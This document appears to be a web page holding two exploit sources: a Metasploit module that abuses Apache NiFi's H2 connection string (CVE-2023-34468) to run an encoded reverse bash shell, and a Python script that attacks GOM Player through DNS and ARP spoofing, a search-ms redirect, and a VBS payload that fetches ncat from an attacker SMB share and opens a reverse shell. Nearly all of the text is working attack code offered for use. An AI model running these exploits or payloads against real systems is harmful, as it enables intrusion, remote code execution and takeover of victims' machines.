<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::Remote::HTTP::Nifi<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Apache NiFi H2 Connection String Remote Code Execution',<br /> 'Description' => %q{<br /> The DBCPConnectionPool and HikariCPConnectionPool Controller Services in<br /> Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user<br /> to configure a Database URL with the H2 driver that enables custom code execution.<br /><br /> This exploit will result in several shells (5-7).<br /> Successfully tested against Apache nifi 1.17.0 through 1.21.0.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'h00die', # msf module<br /> 'Matei "Mal" Badanoiu' # discovery<br /> ],<br /> 'References' => [<br /> ['CVE', '2023-34468'],<br /> ['URL', 'https://lists.apache.org/thread/7b82l4f5blmpkfcynf3y6z4x1vqo59h8'],<br /> ['URL', 'https://issues.apache.org/jira/browse/NIFI-11653'],<br /> ['URL', 'https://nifi.apache.org/security.html#1.22.0'],<br /> # not many h2 references on the Internet, especially for nifi, so leaving this here<br /> # ['URL', 'https://gist.github.com/ijokarumawak/ed9085024eeeefbca19cfb2f20d23ed4#file-table_record_change_detection_example-xml-L65']<br /> # ['URL', 'http://www.h2database.com/html/features.html']<br /> ],<br /> 'DisclosureDate' => '2023-06-12',<br /> 'DefaultOptions' => { 'RPORT' => 8443 },<br /> 'Platform' => %w[unix],<br /> 'Arch' => [ARCH_CMD],<br /> 'Targets' => [<br /> [<br /> 'Unix (In-Memory)',<br /> {<br /> 'Type' => :unix_memory,<br /> 'Payload' => { 'BadChars' => '"' },<br /> 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }<br /> }<br /> ],<br /> ],<br /> 'Privileged' => false,<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]<br /> }<br /> )<br /> )<br /> register_options(<br /> [<br /> OptString.new('TARGETURI', [true, 'The base path', '/']),<br /> OptInt.new('DELAY', [true, 'The delay (s) before stopping and deleting the processor', 30])<br /> ],<br /> self.class<br /> )<br /> end<br /><br /> def configure_dbconpool<br /> # our base64ed payload can't have = in it, so we'll pad out with spaces to remove them<br /> b64_pe = ::Base64.strict_encode64(payload.encoded)<br /> equals_count = b64_pe.count('=')<br /> if equals_count > 0<br /> b64_pe = ::Base64.strict_encode64(payload.encoded + ' ' * equals_count)<br /> end<br /><br /> if @version > Rex::Version.new('1.16.0')<br /> # 1.17.0-1.21.0<br /> driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.214.jar'<br /> else<br /> # 1.16.0<br /> driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.210.jar'<br /> end<br /><br /> body = {<br /> 'disconnectedNodeAcknowledged' => false,<br /> 'component' => {<br /> 'id' => @db_con_pool,<br /> 'name' => @db_con_pool_name,<br /> 'bulletinLevel' => 'WARN',<br /> 'comments' => '',<br /> 'properties' => {<br /> # https://github.com/apache/nifi/pull/7349/files#diff-66ccc94a6b0dfa29817ded9c18e5a87c4fff9cd38eeedc3f121f6436ba53e6c0R38<br /> # we can use a random db name here, the file is created automatically<br /> # XXX would mem work too?<br /> 'Database Connection URL' => "jdbc:h2:file:/tmp/#{Rex::Text.rand_text_alphanumeric(6..10)}.db;TRACE_LEVEL_SYSTEM_OUT=0\\;CREATE TRIGGER #{Rex::Text.rand_text_alpha_upper(6..12)} BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,#{b64_pe}}|{base64,-d}|{bash,-i}')\n$$--=x",<br /> 'Database Driver Class Name' => 'org.h2.Driver',<br /> # This seems to be installed by default, do we need the location?<br /> 'database-driver-locations' => driver,<br /> "Max Total Connections": '1' # prevents us from getting multiple callbacks<br /> },<br /> 'sensitiveDynamicPropertyNames' => []<br /> },<br /> 'revision' => {<br /> 'clientId' => 'x',<br /> 'version' => 0<br /> }<br /> }<br /> opts = {<br /> 'method' => 'PUT',<br /> 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'controller-services', @db_con_pool),<br /> 'ctype' => 'application/json',<br /> 'data' => body.to_json<br /> }<br /> opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token<br /> res = send_request_cgi(opts)<br /> fail_with(Failure::Unreachable, 'No response received') if res.nil?<br /> fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code received #{res.code}") unless res.code == 200<br /> end<br /><br /> def configure_processor<br /> vprint_status("Configuring processor #{@processor}")<br /> body = {<br /> # "disconnectedNodeAcknowledged"=> false,<br /> 'component' => {<br /> 'id' => @processor,<br /> 'name' => Rex::Text.rand_text_alphanumeric(6..10),<br /> 'bulletinLevel' => 'WARN',<br /> 'comments' => '',<br /> 'config' => {<br /> 'autoTerminatedRelationships' => ['failure', 'success'],<br /> 'bulletinLevel' => 'WARN',<br /> 'comments' => '',<br /> 'concurrentlySchedulableTaskCount' => '1',<br /> 'executionNode' => 'ALL',<br /> 'penaltyDuration' => '30 sec',<br /> 'retriedRelationships' => [],<br /> 'schedulingPeriod' => '0 sec',<br /> 'schedulingStrategy' => 'TIMER_DRIVEN',<br /> 'yieldDuration' => '1 sec',<br /> 'state' => 'STOPPED',<br /> 'properties' => {<br /> 'Database Connection Pooling Service' => @db_con_pool,<br /> 'SQL select query' => 'SELECT H2VERSION() FROM DUAL;' # innocious get version query, field required to be non-blank<br /> }<br /> }<br /> },<br /> 'revision' => {<br /> 'clientId' => 'x',<br /> 'version' => 1 # needs to be 1 since we had 0 before<br /> }<br /> }<br /> opts = {<br /> 'method' => 'PUT',<br /> 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', @processor),<br /> 'ctype' => 'application/json',<br /> 'data' => body.to_json<br /> }<br /> opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token<br /> res = send_request_cgi(opts)<br /> fail_with(Failure::Unreachable, 'No response received') if res.nil?<br /> fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code received #{res.code}") unless res.code == 200<br /> end<br /><br /> def check<br /> # see apache_nifi_processor_rce check method for details on why this is difficult<br /><br /> @cleanup_required = false<br /><br /> login_type = supports_login?<br /><br /> return CheckCode::Unknown('Unable to determine if logins are supported') if login_type.nil?<br /><br /> if login_type<br /> @version = get_version<br /> return CheckCode::Unknown('Unable to determine Apache NiFi version') if @version.nil?<br /><br /> if @version <= Rex::Version.new('1.21.0')<br /> return CheckCode::Appears("Apache NiFi instance supports logins and vulnerable version detected: #{@version}")<br /> end<br /><br /> CheckCode::Safe("Apache NiFi instance supports logins but non-vulnerable version detected: #{@version}")<br /> else<br /> CheckCode::Appears('Apache NiFi instance does not support logins')<br /> end<br /> end<br /><br /> def validate_config<br /> if datastore['BEARER-TOKEN'].to_s.empty? && datastore['USERNAME'].to_s.empty?<br /> fail_with(Failure::BadConfig,<br /> 'Authentication is required. Bearer-Token or Username and Password must be specified')<br /> end<br /> end<br /><br /> def cleanup<br /> super<br /> return unless @cleanup_required<br /><br /> # Wait for thread to execute - This seems necesarry, especially on Windows<br /> # and there is no way I can see of checking whether the thread has executed<br /> print_status("Waiting #{datastore['DELAY']} seconds before stopping and deleting")<br /> sleep(datastore['DELAY'])<br /><br /> # Stop Processor<br /> stop_processor(@token, @processor)<br /> vprint_good("Stopped and terminated processor #{@processor}")<br /><br /> # Delete processor<br /> delete_processor(@token, @processor, 3)<br /> vprint_good("Deleted processor #{@processor}")<br /> begin<br /> stop_dbconnectionpool(@token, @db_con_pool)<br /> rescue DBConnectionPoolError<br /> fail_with(Failure::UnexpectedReply, 'Unable to stop DB Connection Pool. Manual cleanup is required')<br /> end<br /> vprint_good("Disabled db connection pool #{@db_con_pool}, sleeping #{datastore['DELAY']} seconds to allow the connection to finish disabling")<br /> sleep(datastore['DELAY'])<br /> begin<br /> delete_dbconnectionpool(@token, @db_con_pool)<br /> rescue DBConnectionPoolError<br /> fail_with(Failure::UnexpectedReply, 'Unable to delete DB Connection Pool. Manual cleanup is required')<br /> end<br /> vprint_good("Deleted db connection pool #{@db_con_pool}")<br /> end<br /><br /> def exploit<br /> # Check whether login is required and set/fetch token<br /> if supports_login?<br /> validate_config<br /> @token = if datastore['BEARER-TOKEN'].to_s.empty?<br /> retrieve_login_token<br /> else<br /> datastore['BEARER-TOKEN']<br /> end<br /> fail_with(Failure::NoAccess, 'Invalid Credentials') if @token.nil?<br /> else<br /> @token = nil<br /> end<br /><br /> if @version.nil?<br /> @version = get_version<br /> end<br /><br /> # Retrieve root process group<br /> @process_group = fetch_root_process_group(@token)<br /> fail_with(Failure::UnexpectedReply, 'Unable to retrieve root process group') if @process_group.nil?<br /> vprint_good("Retrieved process group: #{@process_group}")<br /><br /> @db_con_pool_name = Rex::Text.rand_text_alphanumeric(6..10)<br /> begin<br /> @db_con_pool = create_dbconnectionpool(@token, @db_con_pool_name, @process_group, @version)<br /> rescue DBConnectionPoolError<br /> fail_with(Failure::UnexpectedReply,<br /> 'Unable to create DB Connection Pool. Manual review of HTTP packets will be required to debug failure.')<br /> end<br /><br /> @cleanup_required = true<br /><br /> # Create processor in root process group<br /> @processor = create_processor(@token, @process_group, 'org.apache.nifi.processors.standard.ExecuteSQL')<br /> vprint_good("Created processor #{@processor} in process group #{@process_group}")<br /> configure_processor<br /> vprint_good("Configured processor #{@processor}")<br /> configure_dbconpool<br /> vprint_good("Configured db connection pool #{@db_con_pool_name} (#{@db_con_pool})")<br /> begin<br /> start_dbconnectionpool(@token, @db_con_pool)<br /> rescue DBConnectionPoolError<br /> fail_with(Failure::UnexpectedReply,<br /> 'Unable to start DB Connection Pool. Manual review of HTTP packets will be required to debug failure.')<br /> end<br /> vprint_good('Enabled db connection pool')<br /> begin<br /> start_processor(@token, @processor)<br /> rescue ProcessorError<br /> fail_with(Failure::UnexpectedReply,<br /> 'Unable to start Processor. Manual review of HTTP packets will be required to debug failure.')<br /> end<br /><br /> vprint_good('Started processor')<br /> end<br />end<br /></code></pre>
<pre><code># Exploit Title: GOM Player 2.3.90.5360 - Remote Code Execution (RCE)<br /># Date: 26.08.2023<br /># Author: M. Akil Gündoğan<br /># Contact: https://twitter.com/akilgundogan<br /># Vendor Homepage: https://www.gomlab.com/gomplayer-media-player/<br /># Software Link: https://cdn.gomlab.com/gretech/player/GOMPLAYERGLOBALSETUP_NEW.EXE<br /># Version: 2.3.90.5360 <br /># Tested on: Windows 10 Pro x64 22H2 19045.3324<br /># PoC Video: https://www.youtube.com/watch?v=8d0YUpdPzp8<br /><br /># Impacts: GOM player has been downloaded 63,952,102 times according to CNET. It is used by millions of people worldwide.<br /><br /># Vulnerability Description: <br /># The IE component in the GOM Player's interface uses an insecure HTTP connection. Since IE is vulnerable to the <br /># SMB/WebDAV+ "search-ms" technique, we can redirect the victim to the page we created with DNS spoofing and execute code on the target.<br /># In addition, the URL+ZIP+VBS MoTW bypass technique was used to prevent the victim from seeing any warning in the pop-up window. <br /><br /># Full disclosure, developers should be more careful about software security.<br /><br /># Exploit Usage: Run it and enter the IP address of the target. Then specify the port to listen to for the reverse shell.<br /><br /># Some spaghetti and a bad code but it works :)<br /><br />banner = """\033[38;5;196m+-----------------------------------------------------------+<br />| GOM Player 2.3.90.5360 - Remote Code Execution |<br />| Test edildi, sinifta kaldi. Bu oyun hic bitmeyecek :-) |<br />+-----------------------------------------------------------+\033[0m""" +""" <br />\033[38;5;117m[*]- Author: M. Akil Gundogan - rootkit.com.tr\n\033[0m"""<br /><br />import time,os,zipfile,subprocess,socket,sys<br /><br />print(banner)<br /><br />if os.geteuid() != 0:<br /> print("You need root privileges to run the exploit, please use sudo...")<br /> sys.exit(1)<br /><br />targetIP = input("- Target IP address: ")<br />listenPort = input("- Listening port for Reverse Shell: ")<br /><br />def fCreate(fileName,fileContent): # File create func. <br /> f = open(fileName,"w")<br /> f.write(fileContent)<br /> f.close() <br /><br />gw = os.popen("ip -4 route show default").read().split()<br />s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)<br />s.connect((gw[2], 0))<br />ipaddr = s.getsockname()[0]<br />gateway = gw[2]<br />host = socket.gethostname()<br />print ("- My IP:", ipaddr, " Gateway:", gateway, " Host:", host) <br /><br />print("\n[*]- Stage 1: Downloading neccesary tools...")<br /><br />smbFolderName = "GomUpdater" # change this (optional)<br />expWorkDir = "gomExploitDir" # change this (optional)<br />os.system("mkdir " + expWorkDir +" >/dev/null 2>&1 &") # Creating a working directory for the exploit.<br />time.sleep(1) # It's necessary for exploit stability. <br />os.system("cd " + expWorkDir + "&& mkdir smb-shared web-shared >/dev/null 2>&1 &") # Creating a working directory for the exploit.<br />time.sleep(1) # It's necessary for exploit stability. <br />os.system("cd " + expWorkDir + "/smb-shared && wget https://nmap.org/dist/ncat-portable-5.59BETA1.zip >/dev/null 2>&1 && unzip -o -j ncat-portable-5.59BETA1.zip >/dev/null 2>&1 && rm -rf ncat-portable-5.59BETA1.zip README") #Downloading ncat<br />print(" [*] - Ncat has been downloaded.")<br />subprocess.run("git clone https://github.com/fortra/impacket.git " + expWorkDir + "/impacket >/dev/null 2>&1",shell=True) # Downloading Impacket<br />print(" [*] - Impacket has been downloaded.")<br />subprocess.run("git clone https://github.com/dtrecherel/DNSSpoof.git " + expWorkDir + "/dnsspoof >/dev/null 2>&1",shell=True) # Downloading DNSSpoof.py<br />print(" [*] - DNSSpoof.py has been downloaded.")<br /><br />print("[*]- Stage 2: Creating Attacker SMB Server...")<br />subprocess.Popen("cd " + expWorkDir + /impacket/examples && python3 smbserver.py "+smbFolderName+" ../../smb-shared -smb2support >/dev/null 2>&1",shell=True) # Running SMB server.<br />time.sleep(5) # It's necessary for exploit stability. <br /><br />smbIP = ipaddr<br />spoofUrl = "playinfo.gomlab.com" # Web page that causes vulnerability because it is used as HTTP<br /><br />print("[*]- Stage 3: Creating Attacker Web Page...")<br /><br /># change this (optional) <br />screenExpPage = """<br /><meta charset="utf-8"><br /><script> window.alert("GOM Player için acil güncelleme yapılmalı ! Açılan pencerede lütfen updater'a tıklayın.");</script> <br /><script>window.location.href= 'search-ms:displayname=GOM Player Updater&crumb=System.Generic.String%3AUpdater&crumb=location:%5C%5C"""+smbIP+"""';<br /></script><br />"""<br /><br />fCreate(expWorkDir + "/web-shared/screen.html",screenExpPage)<br />time.sleep(3) # It's necessary for exploit stability. <br /><br />print("[*]- Stage 4: Creating URL+VBS for MoTW bypass placing it into the ZIP archive...")<br />vbsCommand = '''Set shell=CreateObject("wscript.shell") <br />Shell.Run("xcopy /y \\\\yogurt\\ayran\\ncat.exe %temp%")<br />WScript.Sleep 5000<br />Shell.Run("cmd /c start /min cmd /c %temp%\\ncat.exe attackerIP attackerPort -e cmd")''' # change this (optional)<br />vbsCommand = vbsCommand.replace("yogurt", smbIP).replace("ayran", smbFolderName).replace("attackerIP",smbIP).replace("attackerPort",listenPort)<br />fCreate(expWorkDir + "/payload.vbs",vbsCommand)<br /><br />urlShortcut = '''[InternetShortcut]<br />URL=file://'''+smbIP+"/"+smbFolderName+'''/archive.zip/payload.vbs<br />IDlist='''<br />fCreate(expWorkDir + "/smb-shared/Updater.url",urlShortcut)<br />time.sleep(3) # It's necessary for exploit stability. <br />zipName = expWorkDir + "/smb-shared/archive.zip"<br />payload_filename = os.path.join(expWorkDir, "payload.vbs") <br /><br />with zipfile.ZipFile(zipName, "w") as malzip:<br /> malzip.write(payload_filename, arcname=os.path.basename(payload_filename))<br /><br />print("[*]- Stage 5: Running the attacker's web server...")<br />subprocess.Popen("cd " + expWorkDir + "/web-shared && python3 -m http.server 80 >/dev/null 2>&1",shell=True) # Running attacker web server with Python mini http.server<br />time.sleep(3) # It's necessary for exploit stability. <br /><br />print("[*]- Stage 6: Performing DNS and ARP spoofing for the target...")<br />subprocess.Popen("python3 " + expWorkDir + "/dnsspoof/dnsspoof.py -d " + spoofUrl + " -t " + targetIP + ">/dev/null 2>&1",shell=True) # DNS Spoofing...<br />time.sleep(10) # It's neccesary for exploit stability.<br />os.system("ping -c 5 " + targetIP + " >/dev/null 2>&1 &") # Ping the target... <br />os.system("arping -c 5 " + targetIP + " >/dev/null 2>&1 &") # ARPing the target.<br />print("[*]- Stage 7: Waiting for the target to open GOM Player and execute the malicious URL shortcut...\n")<br />subprocess.run("nc -lvnp " + listenPort,shell=True)<br />subprocess.run("pkill -f smbserver.py & pkill -f http.server & pkill -f dnsspoof.py",shell=True) # Closing background processes after exploitation...<br /></code></pre>